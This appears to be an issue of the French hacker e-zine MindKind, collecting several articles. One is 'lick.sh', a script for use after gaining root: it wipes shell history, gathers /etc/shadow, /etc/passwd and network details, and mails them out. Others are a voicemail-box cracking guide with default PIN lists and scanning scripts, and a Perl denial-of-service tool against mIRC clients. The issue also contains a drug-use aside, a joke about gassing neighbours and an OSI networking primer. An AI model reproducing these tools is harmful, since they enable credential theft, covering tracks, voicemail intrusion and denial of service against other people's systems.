subjectivité de la perception humaine, On pourrais parler de la sophistication de l'humanité :]. Comme la prouver Einstein, l'univers est relatif c'est à dire que les choses sont différentes dépendamment de notre point de vue. (ex : la vitesse est un concept ridicule si on a aucun point de repère, en effet, quel est la différence entre faire du sur place au milieu de nul par ou d'aller a 299 000km/h dans le même nul par (en prenant compte qu'il n'y a aucune gravite). le poids étant relatif a la gravitée causer par une masse plus importante, etc.. et comme vous allez me dire que la relativité général peu pas exister, puisque si tout est relatif rien n'est absolue, donc sans absolue la relativité ne peu pas exister, je vous répondrais que le fait que tout soit relatif est un absolue :] (probablement le seul d'ailleurs).Donc les sophistes croyais que la vérité ne pouvais être le propre de l'être humain et qu'il était incapable d'y accéder, Socrate était contre, mais a bien y penser, il ne s'agit que d'un point de vue différent. Et Einstein nous a démontrer qu'on pouvais pas être sur de rien (enfin, on peu être sur que rien n'est sur et encore la, tout es sur selon notre point de vue, mais toute la vérité peu être fausse, puisque vu différemment (genre qu'on aurais pu arriver au même niveau avec des points de repère différent, enfin on a pris ceux qui nous étais humainement le plus compréhensible (sauf p-e pour la physique quantique et les élection canadienne)).Donc a la noirceur de ce text, nous pouvons dire qu'il existe autant de réalité que gens qui peuvent les percevoir, plus le point de vue de personne (la vrai réalité telle que tout c'est vraiment passé. autant d'univers parallèle qui représente l'univers des possibilités, et le chemin de la vérité fait sont choix à travers l'infini de possibilité a chaque seconde dépendamment des actions de chacun. 2 problème sorte de cette thèse, la première est qu'on est peu être pas du tout dans la réalité (genre qu'on est juste une possibilité parmi tant d'autre qui aurais pu être vrai). Le 2eme est que l'infini + 1 (ce que personne perçoit) ça se peut pas, alors, ça ne nous laisse le choix que de ne pas exister, puisque notre existence dans la réalité n'est pas possible puisque la réalité de l'infini + 1 est impossible (ça rend aussi le premier problème farfelu et grotesque puisque comme on existe pas, on ne peut pas être dans la mauvaise réalité. la redondance de l'espace temps Vous connaissez sans doute l'impression de déjà vu. La théorie populaire veut que ça se produise lorsque vous vous trouvez en contact avec un lieu que vous avez déjà visiter lors d'une vie antérieur, ou alors que cette effet soit le résultat d'un rêve prémonitoire. Il n'en est rien. Vous êtes peu être au courant des théories qui vise a prévoir statistiquement l'avenir en analysant le passé. en effet, la connaissance de l'histoire sert a éviter les mêmes erreurs, pourtant on y prête très peu attention (ainsi Hitler fi la même erreur que napoléon). Vous vous êtes sûrement déjà senti dans l'incapacité de changer les choses, de devoirs subir un quelconque destin, et ce même si vous l'aviez prévu d'avance (un amour impossible, ne pas gagner a la loto). Bref toute les tentatives que vous auriez pu faire, les messes voodoo, les sacrifices de brebis n'aurons servit a rien, ce qui devais arriver arriva (vous avez pas gagner le gros lot, la fille sort encore avec sont chum, etc). Avec un minimum d'introspection et de recul vous vous rendrez sûrement compte que vous saviez d'avance ce qui allais se passer pourtant il ne s'agissait pas d'un rêve prémonitoire ou d'une situation vécu dans une vie antérieur. Pourtant l'analyse statistique de l'histoire porte en votre faveur (les amours magique et impossible ne fonctionne jamais (ces pourquoi on les appelle amour impossible) et ya juste des ptit vieux qui gagne a loto quebec, c'est bien connue. Si vous analyser votre vie même vous vous rendrez compte que ce n'est pas la première foi que vous vivez un événement semblable. La fille ressemble probablement a votre première amour, étudie sûrement dans un domaine connexe, etc, a vous de voir. Un test intéressant en ce sens à faire sur l'acide est d'écouter la télévision et d'essayer de comprendre le message secret vous allez vous mettre a entendre toute les mots qui repasse souvent comme s'il faisait partie d'une phrase coder. Ensuite penser à toute les choses que vous faites dans une journée, et vous allez vous rendre compte que vous tournez souvent en rond. la terre est ronde, elle tourne autour du soleil sans arrêt, tout dans l'univers n'est qu'un éternel recommencement. D'ailleurs vous allez sûrement relire cette article puisque vous avez probablement rien comprit. _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | Wyzeman wyzeman@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| ____ ,------------------------------------------------- / \ | Vous venez de prendre le root (sur une de vos | _ | | machine bien sur) et vous desirez lidentifier | / \ | | rapidement pour savoir en quoi consiste finalement || | | / ce qui vien de vous tomber sous les mains (heu (.) (.)| / c'est pas supposer etre votre box ?!?). Voici || | | <__ un shellscript de MindFlayR qui fait bien la job || | | | | || | | | |#!/bin/sh |____/|| | |# USAGE: ./lick.sh your@mailadress.com |\___/ | | |export HISTFILE=/dev/null || | | | |chmod 0 /root/.bash_history || | | | |echo MindFlayR lame infograbber camel killer v1.01 || | | | |echo please wait until script get all info needed || | | echo after, simply check your mail | \___/ | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin | | touch /tmp/lick \______/ chmod 0 /tmp/lick echo "--==lick results by MindFlayR==--" >> /tmp/lick echo "--==box's hostname==--" >> /tmp/lick hostname >> /tmp/lick echo "--==get host info==--" >> /tmp/lick ifconfig -a >> /tmp/lick echo "--==uname -a result==--" >> /tmp/lick uname -a >> /tmp/lick echo "--==CPU power==--" >> /tmp/lick cat /proc/cpuinfo >> /tmp/lick echo "--==RAM info==--" >> /tmp/lick cat /proc/meminfo >> /tmp/lick echo "--==/etc/passwd file==--" >> /tmp/lick cat /etc/passwd >> /tmp/lick #fix for bsd, comment out next 2 line and comment the 2 others # echo "--==/etc/master.passwd file==--" >> /tmp/lick #cat /etc/master.passwd >> /tmp/lick echo "--==/etc/shadow file==--" >> /tmp/lick cat /etc/shadow >> /tmp/lick echo "--==last time users logged==--" >> /tmp/lick lastlog >> /tmp/lick echo "--==Net Connection Information==--" >> /tmp/lick netstat >> /tmp/lick echo "--==current process==--" >> /tmp/lick ps -aux >> /tmp/lick echo "--==message of the day==--" >> /tmp/lick cat /etc/motd >> /tmp/lick echo "--==issue==--" >> /tmp/lick cat /etc/issue >> /tmp/lick mail -s "$1" < /tmp/lick rm -rf /tmp/lick echo EOF _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Hack a Vocal Message Box, by c4ndu / 10.4 / ' aka: Vmb, thats it, thats all . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Beaucoup d'entrer vous vont rires de se texte, et j'pourrais meme aller jusqu'a dir que vous allez lol'ez de plein coeur, ce qui en soit ne m'affecte pas reellement, puisque je suis un rockeur au coeur tendre. (expression voler de TQS/TVA/SRC qui parle du gars qui manque 2-3 jambes et un bras pis qui chante). Tout d'abord, qu'est-ce que se texte a pour but ? bof, c'est relativement simple : faire circuler l'info underground qui touche le phreaking par l'entremise de PFA ou d'une publicitee a TVA vers 3 heures du matin. Pour dire vrai, etant donner qu'on va parler de plein coeur des VMB, ceci a pour but de vous expliquez, le plus en detail possible (en tenant compte que tout ne sera pas dit, puisque j'suis pas un elite cool dude), les systemes de VMB. Pourquoi, au debut, j'ai dis que beaucoup vont rire ? parce que de 1, deja beaucoup de txt/ezine on parler de VMB, et de 2, un peu plus loin, dans le texte, vous aurez droit a une liste des pass de 4 chiffres les plus commun; ce qui, pour certains, ne serait qu'une facon d'avoir lair elite. Ainsi va la vie ;) Tout d'abord, qu'est-ce qu'une VMB ? et farceur comme tu es, tu voudra surment un exemple. Ne vous inquitez pas, vous en aurez un. Une VMB, Voice Message Box, est un simple repondeur qui sert aux employers d'une compagnie a recevoir des messages, et en envoyer. Pour avoir access, comme employer (bleh), a votre VMB personne, une key doit etre entrer, ensuite un password. C'est, en effet, la suite de l'histoire. Maintenant vous etes kewl a mort, vous s'avez ce qu'est une VMB, et votre comportement enfantin vous donne le gout d'en hacker une. Votre permiere objectif est de vous en trouvez une (vous aurez quelques technique de scan un peu plus creux dans le texte). Pour les besoins de la cause, voici un exemple de VMB: 1-800-200-1350. La 1ere chose a faire c'est d'ecouter attentivement le message d'entrer. Comme mentionner sur la VMB, vous devez tapper * pour envoyer une message a quelqu'un. La premiere etape, sois la plus simple, et des trouvers la key qui nous permes d'entrer le numeros de box / password. Si vous ecoutez bien le message d'entrer de la VMB, vous s'aurez quoi ne pas essayer. (comme l'exemple de la VMB nous le dit, on peut deduire que * n'est pas une option, puisqu'elle (l'etoile) sert a envoyer un message a une personne en particulier. Certaines VMB peuvent peut - etre vous dires quelle key entrer, sinon essayer le # et * en premier lieux; ensuite, de 0 a 9; puis faite des compinaisons. Bref, vous s'aurai surment le trouver. Nous sommes donc rendu au numeros de box.Diferentes techniques s'offre a nous, donc une de moi, et une autre que j'ai trouver sur le site web de Phreakon. Ma technique (je dis "ma", mais elle doit surment etre employer par d'autres ...) consiste a avoir plus de possibilitees d'entrer de "numeros de box", je m'explique : reprenons l'exemple de la VMB de tentot, la key pour avoir access au login est le #, et ensuite il vous demande le numeros de box, mais avec une limite de 3 essaies. Donc c'est relativement difficile de trouver la serie des numeros de box (serie ? bof, si un numeros de box est le 1, la serie pourrait etre de 1 a 9 (exemple)). Bref, ma technique consiste a avoir une plus grande possibilitee d'entrer, et c'est la qu'il devient important de bien ecouterle message d'entrer de la VMB. Comme dans l'exemple, le message de la VMB nous dit que pour envoyer un message a quelqu'un, nous devons appuiyer sur le *. Mais de la, apres avoir peser le *, il nous demande le numeros de boite de la personne a laquel vous voulez laisser un message. Et a cette instant, souvent, une plus grande possibilitee d'entrer nous sont donner pour trouver notre serie de numeros de boites. Voici le truc donner sur le site web de Phreakon : http://www.chez.com/phreakon/pbx/vmb.html " Sur certaines VMB, vous tapez le premier chiffre du n° de vmb 4 et la femme vous dit rien. Vous passez au 2eme chiffre du n° de vmb 5 et la femme ne vous dit rien. Continuez avec un 6 et la elle vous dit un truc (n° incorrect) c'est que 456* nexiste pas. La VMB sera donc dans la forme 45** (4500 à 4599). Continuez !. 4500, 4501, [..], 4546 --> Veuillez entrer votre mot de passe. " Y'a toujours du SE qui ne peut pas nuire, surtout si vous tomber sur une telephoniste durant le jour. Il ne vous reste plus qu'a cracker le password. (nous parlerons du scan un peu plus loin). Beaucoup de VMB, pratiquement tous, on des passwords a 4 chiffres. Cela fait dont 10000 possibilitees. Je vous donne un petit script mIRC qui vous rempli dans un .txt la liste complete des passwords a 4 chiffres, et nous parlerons des passwords par la suite : PS: lire plus bas avant d'executer le script. dans "alias" : pass { var %i = 0 while (%i < 10000) { if ( %i < 10 ) { //write pass.txt 0 $+ 0 $+ 0 $+ %i } elseif ( %i < 100 ) { //write pass.txt 0 $+ 0 $+ %i } elseif ( %i < 1000 ) { //write pass.txt 0 $+ %i } elseif ( %i < 10000 ) { //write pass.txt %i } inc %i } } Le tout sera saver dans un txt apeller pass.txt situer dans votre folder mIRC. Je vous averti d'avance, cela peut prendre quelques minutes (pendant ce temps, mIRC va freezer). J'vous donne le droit de rire du mirc script. (rire). (prolongement). (feni). Vous vous demandez surment pourquoi le ptit script fefi qui agremante un party de chip en un party de l33ts superfriendly ? envoyez vos demande au 1-800-777-7777, moi jvais me contentez de finir le texte :) Vous l'avez surment remarquer, essayer 10000 n'est pas conseiller Et jpas ici pour vous le conseiller. Mais de cette liste, sans moi, vous saurez surment sortir quelques passwords qui vous semblent utilent. Je vais le faire pour moi-meme un peu plus loin dans le texte, et vous pourrez surment vous situer entre les 2 extremitees, ou les deux memes points. De cette liste, voici donc les passwords a essayer par default. 1111 2222 3333 4444 5555 6666 7777 8888 9999 1000 2000 3000 4000 5000 6000 7000 8000 9000 0001 0002 0003 0004 0005 0006 0007 0008 0009 1234 4321 1122 2211 3344 vous voyez le genre ? Regarder bien le clavier de votre phone : 1 2 3 4 5 6 7 8 9 159* ou 951* 753* ou 357* 123* 456* 789* 147* 258* 369* Autre password a essayer : Date de naissance du proprietaire (SE); Boite vocale 1223, password 1223; Boite vocale 123, password 123* ou *123; Numeros de telephone locale; * comme l'exemple de tentot, notre vmb est disponible à au 1-800-200-1350, mais aussi au 506-546-6621, donc on peut essayer comme password le 6621 :) Numeros 1-800 de la VMB; * avec 1-800-200-1350, on peut essayer 1350, ou meme 0531. Nombre de smurf dans un champignion. --- 2ieme partie mal devisee --- La 1ere chose a faire avant de commencer a essayer de hacker une VMB, est d'en trouver une. Et la facon la plus probable et efficace est le scan. Bon, ici vous allez me dire que vous avez entendu parler d'un wardial pis blablablabla, je vous repondrai sans esiter de vous crissez l e wardial dans le cul pis de tourner en rond (ca fait un etourdissement rectorielle). Donc, vous auriez du conclure qu'un meilleur scan est fait avec une main droite (jsuis anti-gauchier), et un telephone pluger. Avant de scanner, trouver une classe de numeros a scanner. exemple : 1-800-888-99xx donc 100 possibilitee de numeros, sois le : 1-800-888-9901 1-800-888-9902 1-800-888-9903 etc jusqu'a 1-800-888-9999 La technique que j'utilise est d'ecrire la liste des numeros complets dans un .txt, et d'ecrire a cotee de chaque numeros ce que celui-ci signifie. En d'autre mots, au lieux de le faire a cotee des mots croisees dans le journal, savez le dont en .txt pis faite s'en beneficier les autres. exemple: 1-800-888-9901 ; rien 1-800-888-9902 ; boite vocale normal, # pour se loger. 1-800-888-9903 ; VMB 1-800-888-9904 ; sex line (10min de pause obligatoir). Bon, etant trop lache pour ecrire chaque numeros dans le .txt avec mes propres doigts, j'ai scripter un ptit mIRC script qui le fait pour moi. Ce script n'est pas un wardial ou whatever ce que vous avez en tete, mais simplement une facon d'avoir dans un .txt une classe de numeros 1-800 pour ensuite les scanner a la main. scan { var %i = 0 /.remove scan01.txt while (%i <= 99) { if (%i < 10) { //write scan01.txt %num01 $+ 0 $+ %i } else { //write scan01.txt %num01 $+ %i } inc %i } } Je l'ai fait aussi un peu plus userfriendly, mais j'ai penser bon vous donnez la version elite101 :). Donc, vous setter la classe de numeros que vous voulez scanner en fesant /set %num01 1-800-444-32 sans mettre les "x". Ensuite vous tapper /scan, et le resultat se retrouve dans un texte nommer scan01.txt, savez dans votre folder mIRC. (ici je suppose que vous voulez scanner 1-800-444-32xx). quand et ou scanner ? premierement, imaginons nous que vous avez trouver une vmb au 1 800 999 4444, et que vous l'avez contacter vers 2 heures du matin. Si vous essayer le meme numeros de jour, vous risquez peut etre de tomber sur une telephoniste, et le numeros pour avoir access a la vmb le jour et la nuit pourrait etre quelque chose comme 1 800 888 4443. Donc le mieux, pour mettre les chances de notre cotees est de scanner apres 11 heure - minuit, ou kekchose du genre. Pour lendroit, je vous conseille fortement de tuer vos voisins et de scanner dans leur maison. Un bon truc pour tuer ses voisoins inconito est de mettre du gaz dans leur cendrier. (coquin suis-je). Serieusement, je pourrais vous conseiller d'allez scannez dans un payphone puisque je tient enormement a la securitee des lecteurs de mindkind, mais bon ... ___ |___|__ ' --_ En revenant de rigou, aprout, kabi, catou, pif ... C _) / \ =/ //' (_)\ | | \ | |__) ;\/|| | || |__||_ |___)_) _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | c4ndu c4ndu@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| < Mindkind tales from IRC > [11:09] Saglac [11:09] haha [11:09] saglac.qc.ca [11:09] saglac.qc.ca [11:09] hahaha [11:09] y va devenir le main provider [11:09] au québec [11:10] genre yon une fibre optique plugger sur un ornement en forme de fleur qui fait dla lumière [11:10] hahahah [11:10] HAHAHA [11:10] lol [11:10] * LastCall_ se roule a terre < ----------------------- > _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Pseudo reverse engineering a la cocainoman, by [Funky] / 10.5 / ' aka: Ces comme de lingenirie mais a lenvers . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Si vous etes du genre a vous servir uniquement de ce que vous avez coder, par crainte de vous faire fourrer par des backdoor, trojan, ou virus implanter dans des petits prog disponible globalement en toute les langues imaginable, ou que vous n'avez jamais fait de programmation socket sous perl. Cet article pourrait possiblement vous etre utile. Le tout est base sur un DOS courant visant Mirc, dcc-lock... rien de fortement pratique mais je crois que l'exemple laisse tout de meme place a l'imagination et que la technique est asser versatile pour etre digne d'interet. Je voulais d'abbord savoir sur quel port il etait actif. Un netstat -a, a fait l'affaire, et a donner le resultat suivant: -------------------------------------------------------------- TCP winbox:4501 WINBOX:0 LISTENING TCP winbox:4502 WINBOX:0 LISTENING TCP winbox:4503 WINBOX:0 LISTENING TCP winbox:4504 WINBOX:0 LISTENING TCP winbox:4505 WINBOX:0 LISTENING -------------------------------------------------------------- Il ouvrait donc 5 port, qui fesait un truc X. Pour justement trouver ce truc X. J'ai d'abbord juste connecter avec telnet le port 4501, en esperant trouver la raison qui motivait dcc-lock de l'ouvrir. ------------------------------Telnet Dump c/p------------------------------- __0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0. __0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0.__0. ---------------------------------------------------------------------------- Le tout etait repeter a l'infinie, et j'ai utilise le ASCII char 254 dans mon article uniquement pour demontre que telnet resolvait pas les 2 premiers chars. et que le tout avait juste l'air de des carres vide.plustard j'ai trouver exactement ce qu'ils etaient reelement...mais bon j'y viens. Apres ces premier resultat, je croyais que la seul chose qui me restait a faire etait de coder un truc qui attendait une connection sur le port 4501 et qui crachait une infinite de "þþ0." des qu'elle etait etablit. Premier echec, un DCC s'ouvrait, rien de plus. Je me suis dit qui me manquait probablement un charactere genre CRLF ou un truc du genre. La deuxieme etapes logique etait de coder un deuxieme truc qui se connectait sur le port 4501 et qui sniffait ce qui sortait a l'etat pure (donc pas de probleme d'interpretation de char) et qui dumpait le tout dans un fichier. Le code du basic sniffer est a la fin de cette article. Vue la repitions evidente de la meme structure de 4 chars, j'ai juste prit 5 lignes de ce que le port 4501 me donnait, question de voir en meme temps si y'avais pas au debut des trucs protocolaires, ca m'etonerais, mais je pouvais pas le voir avec telnet. ----------------------------Resultat du sniff/dump--------------------------- 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. ----------------------------------------------------------------------------- La raison de mon premier echec, etait donc que j'avais pas les bon chars et que j'avais pas mit de carriage return a la fin...heh...Mais au moin le tout avancait dans la bonne direction. Il ne me restait plus qu'a coder un truc qui ne fait qu'emettre en continue exactement ce que le pseudo-sniffer avait enregistre des qu'une connection etait etablit sur le port, pour avoir un prog fonctionelle qui ferait sa job, pas juste idler.. Et...ce fut le cas, la cible est morte en ~2mins, le monde qui etait vulnerable au veritable dcc-lock, l'etait autant avec mon truc. Finalement en copy/pastant les resultat du sniff/dump dans une box de mirc par erreur, j'ai vu la simplicite du pseudo exploit qu'est dcclock...-> CTRL-B, CTRL-K, 0, point <- 25 fois de suite suivit d'un carriage return... hah... jme suis donc empresser d'ecrire la version finale, qui est aussi inclut a la fin de cette article. En conclusion, il est souvent tres facile de decouvrir ce qu'un code fait sans avoir necessairement access au code source, que ca soit par pure curiosite ou pour comprendre exactement comment un application et/ou exploit marche a la base, en utilisant la technique que j'ai utilise dans cet article, ou un veritable sniffer...uhm...p-e que je vais en parler dans un prochain article. -=[ Sources du basic sniffer ]=- #!/usr/bin/perl # Basic Sniffer, utiliser pour dcc-lock, Libre a vous de le modifier, prendre les # credits pour...j'en ai strictement rien a foutre ;) use IO::Socket; use strict; my $socket = IO::Socket::INET->new( PeerAddr => 'votreip', # votreip != variable PeerPort => '4501', Proto => 'tcp', ) || die "Can't Bind.\n"; open FiLe, ">>sniff.rez"; for(1..5) { my $line = <$socket>; print FiLe $line; } #eof -=[ Source du dcc-lock final ]=- use IO::Socket; use Getopt::Std; use strict; my %argv; getopts('p:z', \%argv); &usage if(!defined($argv{p})); my $line = "0."; #CTRL-U,CTRL-B, CTRL-K, 0, POINT #^------amilioration minime. my $socket = IO::Socket::INET->new( LocalHost => 'votreip', LocalPort => $argv{p}, Proto => 'tcp', Listen => '1', Reuse => '1', ) || die "FawK#!@"; print qq! c/p in Mirc: -------------------------------------------------------------------- //raw privmsg NICK : \$+ \$chr(001) \$+ DCC CHAT chat \$longip(\$ip) $argv{p} -------------------------------------------------------------------- Use CTRL-C to stop..this is low-tech...heh. !; my $focus_sock = $socket->accept() while(1) {print $focus_sock $line x 25 . "\n";} sub usage { die < EOF } # eof [Funky] _____ _ _ ______________ _ __ __ _ _________ _ _ _______________ | |\ | |\ | EOF | | | [funky] funky@mindkind.org | | |_____| | |__ _ ________ _______________ ___________________ ________| | \_____\| \____________ _____________________________________________\| < Chez Mindkind, nos passwords sont cherchés par 10 trisomiques à mitaines qui tappent sur des VIC-20 > _________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Internet esspliqué, by LastCall_ / 10.6 / | aka: ma esspliquer ça drette net sec c'est quoi . ----- / ' yaka: ma vulgariser ça, stie. / / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Un jour, je me suis retrouvé face à face avec Internet. Je lui ai dis : "ok, je veux t'utiliser". Ya faite "ok", et je l'ai utilisé. Un autre jour je me suis retrouvé en arrière d'Internet, et ce après l'avoir regardé par en face pendant plus de 5-6 ans... j'ai eu un choc. Ce qui était pour être simpliste à la base, fût compliqué... et j'ai laissé tomber... y'avait rien d'intéressent à lire. Vous savez ces RFC ou bien ces cours d'université sur Internet, ben c'est platte... tu peux pas rien pratiquer, pis t'a pas une note sur 100 pour ton effort (aucun reward!). Sauf qu'un jour, je me suis retrouvé face à face avec une tonne d'équipement (je parle pas de tracteurs, mais de routeurs) et je me suis amusé(certain apelle ça travailler ;-) avec. Voici donc la fin de l'intro vous pouvez commencer à lire la : Level 1 Internet c'est un paquet de fils. Jusque la, on s'entend pour dire que c'est simple. Sauf qu'Internet c'est un batard de gros criss de paquet de fils. La ça devient plus compliqué (et vulgaire). Level 2 Le paquet de fils est pluggé ensemble. Évidamment y'a du data qui passe par les fils. 0 et 1 sont les seules choses qui existent (c'est simple :-). Level 3 Internet c'est une série de routes de gauche à droite. D'où vient le mot autoroute de l'information (les anglais l'ont pas, avec information highway ça veut rien dire; c'est de la marde l'anglais des fois ;-). Level 4 Internet c'est en plus de savoir où c'qu'on envoit/reçoit, savoir c'est quoi qu'on envoit/reçoit. Level 5 Ce qu'on reçoit et ce qu'on envoit, c'est parfois de la communication chez les deux bords.. donc y faut rester "pluggé" avec l'autre. Level 6 C'est beau envoyer des bytes, mais souvent on veut aussi envoyer d'autres choses (aka des composés de bytes qui donnent du data..). C'est étape la est compliquée, mais généralement on s'en sacre! (pour vrai..) Level 7 Mon ti programme quand je click sur le ti icône qui s'ouvre. Mais faut un protocole établit pour que l'autre bord d'Internet (l'autre machine) il comprenne ce que mon ti programme lui a sendé. Bon, maintenant c'était quoi ces niveaux? Bien c'est les couches d'Internet, une fois dissèquées. C'est généralement appelées les couches du modèle OSI. Pour être clair on prend un pain et on le regarde en face. /¯¯¯¯¯¯¯¯\ \ / | lvl7 | |________| Et oui, on voit juste le level 7... Mais si on coupe le pain ça donne : /¯¯¯¯¯¯¯¯\ \ lvl1 / /¯¯¯¯¯¯¯¯\ | \ lvl2 /__| /¯¯¯¯¯¯¯¯\ | \ lvl3 /__| /¯¯¯¯¯¯¯¯\ | \ lvl4 /__| /¯¯¯¯¯¯¯¯\ | \ lvl5 /__| /¯¯¯¯¯¯¯¯\ | \ lvl6 /__| /¯¯¯¯¯¯¯¯\ | \ / | | lvl7 |_| |________| Voici donc le pain Internet. 8-) On voit la croute, le level 7. Maintenant c'est ici que vous allez comprendre ce que je veux dire : Plaçons les protoles avec les levels : Level 7 : FTP, IRC, HTTP Level 6 : j'ai dis tantot que tlm sen crissait... heh Level 5 : RPC, SSL (malgrès que le monde sacre ça dans level 6.. ça pas de sens à mon avis) Level 4 : TCP, UDP Level 3 : IP, IPX Level 2 : Ethernet, PPP Level 1 : 0 pis 1 sur du câble stie. Jusque la, je suis sure que presque tout le monde a comprit les acronymes (ah les acronymes, plus que y'en a, plus que c'est leet). Une switch : Travaille sur le niveau 2. Un routeur : Travaille sur le niveau 3. Donc, une switch ça envoit les packets avec peu de décisions à prendre. Maintenant, imaginons Internet (le pain) avec une bactérie qui se prommène dans le pain (le packet) [note de Last: je tiens à m'excuser pour l'analogie de mes deux avec la bactérie.. le pain ok. mais la.. hehe] : Webserver switch routeur routeur /¯¯¯¯¯¯¯¯\ /¯¯¯¯¯¯¯¯\ /¯¯¯¯¯¯¯¯\ /¯¯¯¯¯¯¯¯\ \ (1) / \ (2) / \ (3) / \ (4) / | lvl7 |------->| lvl2 |------>| lvl3 |------->| lvl3 | |________| |________| |________| |________| | V Webbroswer switch routeur routeur /¯¯¯¯¯¯¯¯\ /¯¯¯¯¯¯¯¯\ /¯¯¯¯¯¯¯¯\ /¯¯¯¯¯¯¯¯\ \ (8) / \ (7) / \ (6) / \ (5) / | lvl7 |<-------| lvl2 |<------| lvl3 |<-------| lvl3 | |________| |________| |________| |________| Ya deux chose à faire avec ce pain moisi la : - Faire le portrait du packet une fois rendu à l'autre bout. - Regarder le dessin, pis se dire que ça ma prit 10 minutes à faire. Bon donc voici notre information : ¤ Cé cute (disons que cé du porn tien). Maintenant le motton de ¤ va devenir un paquet vue que le web server(1) le pitche sur le net. Il va donc prendre l'information de l'image et lui rajouter une couche de plus de level 7, HTTP. Dans le cas présent ça risque d'être un MIME TYPE ou une merde du genre. Voici notre information avec une couche ajoutée : (¤. Après ça le webserver est futé, y va savoir à qui l'envoyer et va rajouter ça dans le paquet, on rajoute donc une couche level 4 : {(¤ Maintenant qu'on a du IP, on peut ben mettre du level 2 pour que ça se rende plus loin que notre carte réseau : [{(¤ La switch(2) pogne ça, et regarde le [ qui est metton du Ethernet. Elle se dit "ouan ouan y cherche un petit pain avec une MAC address de même". Elle la trouve pas dans ses ports, elle s'en débarasse au plus criss à l'autre routeur(3). Le routeur(3) regarde donc ça et il se dit "ah ok le gentil packet veut aller voir cette adresse IP la"... je vais voir oû je peux l'envoyer. Il regarde donc dans ses tables, ainsi qu'autour de lui et décide de le passer au prochain routeur, qui le passe à l'autre {(¤ et qui le passe à la switch, qui décide d'un air con et simpliste : ah cte packet la y va dans cte câble la, bye : (¤ Pis la le webbrowser ouvre ça, découvre qu'il est récepteur du packet... Décode l'entête, wow cé du http pour mon moi même (¤, et affiche une paire de fesses à l'écran (le porn la) : ¤ Bon la il y a plusieurs questions qu'on s'était jamais posé auparavent : A) Comment la switch fait pour savoir que c'est pas dans ses ports ça la? B) Comment le routeur sait où qui faut qui envoye le foutu packet sul net? C) Pourquoi last, que t'engage pas qqn pour faire les ASCII à ta place? D) Me reste tu du beurre de pinuts ça ma donné envie de bouffer des beurées de level 7 (j'aime la croute ;-) Réponses : A) Résolution d'adresse : je l'ai tu dans ma table? sinon je call ARP! ARP! B) Routage avec des protocoles : OSPF, BGP, RIP, EIGRP C) Le pain maison cé tjrs meilleur. D) J'ai même le choix entre du crémeux pis du avec des pinuts dedans. E) Y'avait pas de question E, mais je vends déjà le punch que ya un level 2.5 pis que yé assé marran... RSVP/MPLS! Maintenant, on va aller voir un peu plus creux dans les choses... Comme on l'a vu, notre packet ( représenté par une bactérie dans le pain, [{(¤ ) se fait constamment rajouter/enlever des informations supplémentaires dans son entête. Cependant, les seules informations qui sont collées au packet sont des informations qui s'appliquent à celui-ci. Le packet ne sait pas tout, donc les éléments de notre réseau doivent se démarder entre eux mêmes pour faire marcher le tout. Donc, parmis tout les packets TCP et/ou UDP qui se prommènent sur Internet (ou dans n'importe kel réseau digne de ce nom), il y a d'autres packets, qui sont utilisés uniquement pour que les composantes (les switchs et routeurs) puissent de débrouiller. Je vais pas full m'attarder sur les gros détails de chaque foutu protocole, ni sur les headers des packets de ceux-ci... et ce pour 2 bonnes raisons : ça fait trop de stock à dire et c'est platte en caltore. Mais bon, dans un futur article je vous promets un bon deep look sur un packet.. juste pour s'amuser :-) /- On the side -/ Vu que j'ai tendence à rentrer beaucoup dans les détails, veuillez vous référer à l'article "Internet++" pour plus de détails, je vais mettre un (*) après chaque affaire expliquée dans l'autre article.. Exemple : Pain brun(*) /---------------/ ARP, Address Revolution Protocol. Si vous voyez un packet un jour qui dit "Who has 24.20.50.53 tell 24.20.50.4" c'est un paquet de ARP. Les paquets ARP sont broadcastés(*) sur un LAN(*) Ethernet(*). Donc ce sont les switchs (level 2) qui propagatent ça... en gros ça sert à savoir qu'elle est la MAC adress d'une telle adresse IP. Le but? Pouvoir envoyer un packet directement au destinataire via Ethernet, on doit savoir son adresse MAC... Bon alors ici on voit beaucoup de nouveaux mots, ou de mots mal comprit : Ethernet(*) : technologie de niveau 2, la plus utlisé dans un LAN(*). Adresse MAC(*) : aucun rapport avec MacDonald et les iMac, identifieur unique d'un device Ethernet. Toute ça pour dire que c'est pas trop compliqué : quand le packet voyage dans une switch, la switch regarde la MAC adress, s'elle est dans sa table de MAC adress (associée avec un port... un cable de plugger sur la switch finalement) elle envoye le packet par ce fil la. voilà. Les routeurs ont la vie plus difficiles que les switchs. Il existe plusieurs cas, qui doivent être vues à plusieurs niveaux. En gros, si on regarde Internet, c'est une série de réseaux interconnectés, appellés AS(*). Il existe donc plusieurs protocoles permettant que tout soit routé ensemble. Bien qu'ils sont différents, ils finissent par toute faire la même genre de job, y dépendant du niveau. Lorsqu'on relit deux réseaux ensemble, on fait appel à des protocoles "border gateway", BGP(*) par exemple. Dans chaque réseau, il existe des protocoles internes de routage, OSPF(*) et RIP(*) par exemple. Tout ces protocoles font une chose en commun : remplacer une route statique. C'est donc de cette facon que le routage est "dynamique" et non "statique"... Rendu à ce point ici de la compréhension, on a qu'a se dire que chaque protocole fait sa job à son niveau. Généralement chaque protocole a une table de routage, et la tien updatée à l'intérieur de tout les routeurs de son réseau et peut la 